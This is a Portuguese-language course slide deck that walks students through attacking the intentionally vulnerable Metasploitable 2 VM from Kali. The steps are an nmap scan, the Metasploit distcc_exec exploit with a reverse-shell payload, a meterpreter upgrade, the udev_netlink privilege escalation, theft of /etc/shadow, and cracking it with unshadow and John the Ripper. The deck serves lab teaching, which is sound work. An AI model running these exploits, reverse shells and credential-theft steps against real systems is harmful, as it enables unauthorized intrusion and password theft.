Você está na página 1de 20

Defesa Cibernética

Prof. Marcelo Nagy


Invasão em ambiente Linux

Linux Metasploitable 2

O Metasploitable2 uma máquina virtual (Vmware ou VirtualBox) com uma série de


vulnerabilidades que podem ser testadas e exploradas pelo framework do Metasploit.

O usuário e senha padrão


do Metasploitable 2 é

msfadmin
Invasão em ambiente Linux

É sempre um Zero-day!

O distcc foi projetado para acelerar a compilação, aproveitando o poder de processamento


não utilizado em outros computadores. Uma máquina com o distcc instalado pode enviar
código a ser compilado através da rede para um computador com o daemon distccd
instalado.

O distcc funciona como um agente para o compilador. Um daemon distcc deve ser
executado em cada uma das máquinas participantes.

Máquinas remotas compilam códigos e enviam-o de volta ao remetente, dividindo a carga


de processamento entre computadores.
Exploração em ambiente Linux - Exercícios

1 – No virtualbox, inicie a máquina Kali do Atacante e a máquina Metasploitable 2 – que será nosso Linux vítima.
Confira o ip das duas máquinas utilizando o seguinte comando:

ip a (não esqueça de se logar no Linux antes!)

2 – No Kali, abra uma janela TERMINAL e faça um scanning de portas no Linux vítima:

nmap <ip da vitima>

3 – Observe as portas encontradas. Agora execute novamente o nmap checando todas as portas TCP:

nmap <ip da vitima> -p-


Exploração em ambiente Linux - Exercícios

4 – Observe a porta 3632. Esta porta indica a existência do daemon (nome dado para os “serviços” do Windows) de
nome distccd. Vamos procurar um exploit para tentar explorar o zero-day deste daemon. Para isto, carregue no Kali o
MSFCONSOLE:

msfconsole

5 – Agora, procure um exploit de nome distcc:

search distcc

6 – Agora, use o exploit encontrado:

Use exploit/unix/misc/distcc_exec
Exploração em ambiente Linux - Exercícios

7 – Defina o payload para o shell do Linux:

set payload cmd/unix/reverse

8 – Configure as opções do exploit:

show options
set rhosts <ip do Metasploitable>
set rport 3632

set lhost <ip do Kali>


set lport 4444
Exploração em ambiente Linux - Exercícios

9 – Execute o exploit:

run

10 – Se você configurou tudo corretamente, não deu erro algum, mas também não apareceu nada. Isto porque você já
tomou controle do Linux. Pra ter certeza, digite:

uname -a

11 – Você deve ter visto a versão “Linux Metasploitable ...”, mostrando que você realmente invadiu o Linux. Só está
sem o cursor do Linux. Para habilitar o cursor, digite:

/bin/sh -i
Exploração em ambiente Linux - Exercícios

12 – Agora que invadimos o Linux, veja qual o usuário que estamos executando, nome do host, veja os processos que
estão sendo executados...

whoami
hostname
ps

13 – Note que são comandos do Linux, pois você está no shell, ou seja, no bash do Linux. Vamos transformar sua
sessão em um meterpreter. Pra isso, saia da sessão invadida, sem fecha-la:

background

14 - Vai aparecer a mensagem Background session 1? [y/N]

responda y e pressione <ENTER>


Exploração em ambiente Linux - Exercícios

15 – Transforme sua sessão SHELL em METERPRETER:

sessions –u <numero da sessão invadida>

16 – Veja agora as sessões que você tem disponível:

sessions

17 - Note que você agora tem 2 sessões: uma com shell e a outra com meterpreter. Interaja com a sessão meterpreter:

sessions –i <numero da sessão meterpreter>


Exploração em ambiente Linux - Exercícios

18 – Utilize alguns comandos do meterpreter:

getuid
sysinfo
ps
localtime
download /etc/passwd

19 - É isto, você está dentro do Linux e pode fazer o que quiser nele! Ou quase tudo. Tente copiar o arquivo shadow da
pasta etc:

download /etc/shadow

Deu erro. Sabe por quê?


Um pouco de conceitos sobre o passwd e o shadow

Aquivo passwd

Em sistemas operacionais do tipo Unix, o arquivo /etc/passwd contém as informações


sobre cada um dos usuários que podem entrar no sistema.

Arquivo shadow

O arquivo /etc/shadow é usado para incrementar o nível de segurança das senhas ao


restringir o acesso de todos os usuários, porém altamente privilegiados, a dados de hash
de senha. Normalmente, estes dados são armazenados em arquivos de propriedade de e
acessíveis apenas pelo super usuário.
Um pouco de conceitos sobre o passwd e o shadow

O download do arquivo shadow não ocorreu


porque você não é

root

do sistema.
Um pouco de conceitos sobre udev

Um device no Linux nada mais é que um pseudo-arquivo que possui a


combinação de dois endereços, o major number e o minor number,
referentes a indicar a categoria do dispositivo e a identificação do dispositivo
conectado, o DEVFS era quem criava os dispositivos no /dev e tinha todos a
pronta entrega, paralelamente trabalhava-se com o hotplug, este já entrava
em cena quando novos dispositivos eram conectados, principalmente os USB.

Porém conforme aumentava-se o numero de devices, e o numero de


dispositivos no servidor o Linux se tornava lento para iniciar o sistema.
Um pouco de conceitos sobre udev

Então chega o udev, com a função de ser dinâmico em termos de criar os


dispositivos no /dev e não criar toneladas de pastas, subpastas e devices
como o DevFS, e ter o poder de detectar novos dispositivos e montá-los como
o hotplug, porém mais rápido. Escrito em C, essa parte de administração roda
em user-space e não como DevFS em kernel-space, tornando o boot e
reconhecimento dos dispositivos muito mais rápido.
Um pouco de conceitos sobre udev

Mas sempre pode haver um

Zer0-day...

CVE 2009-1185
Escalação de privilégios em ambiente Linux - Exercícios

20 – Saia da sessão meterpreter sem fecha-la:

background

21 – Localize um exploit para explorar o udev:

search udev

22 – Utilize o exploit e defina o payload de meterpreter para linux:

use exploit/linux/local/udev_netlink
Set payload Linux/x86/meterpreter/reverse_tcp

Defina IP do Kali no lhost e porta no lport. Execute o exploit.


Escalação de privilégios em ambiente Linux - Exercícios

23 – Agora você é root. Constate isto através do comando:

getuid

24 – Tente fazer download do arquivo shadow

Download /etc/shadow

Agora deu certo!

Mas você deve estar se perguntando: Pra que tudo isso?


Escalação de privilégios em ambiente Linux - Exercícios

23 – Agora você é root. Constate isto através do comando:

getuid

24 – Tente fazer download do arquivo shadow

Download /etc/shadow

Agora deu certo!

Mas você deve estar se perguntando: Pra que tudo isso?


Escalação de privilégios em ambiente Linux - Exercícios

25- Abra uma nova janela terminal no kali e execute o seguinte comando para combinar o arquivo de usuários com o
arquivo de senhas criptografado:

unshadow passwd shadow > resultado.db

26- Agora de posse do arquivo combinado, aplique o programa John de ripper para tentar descobrir as senhas dos
usuários:

john -show resultado.db


Obrigado!
Prof. Marcelo Nagy
marcelo@periciasinformaticas.com.br

Você também pode gostar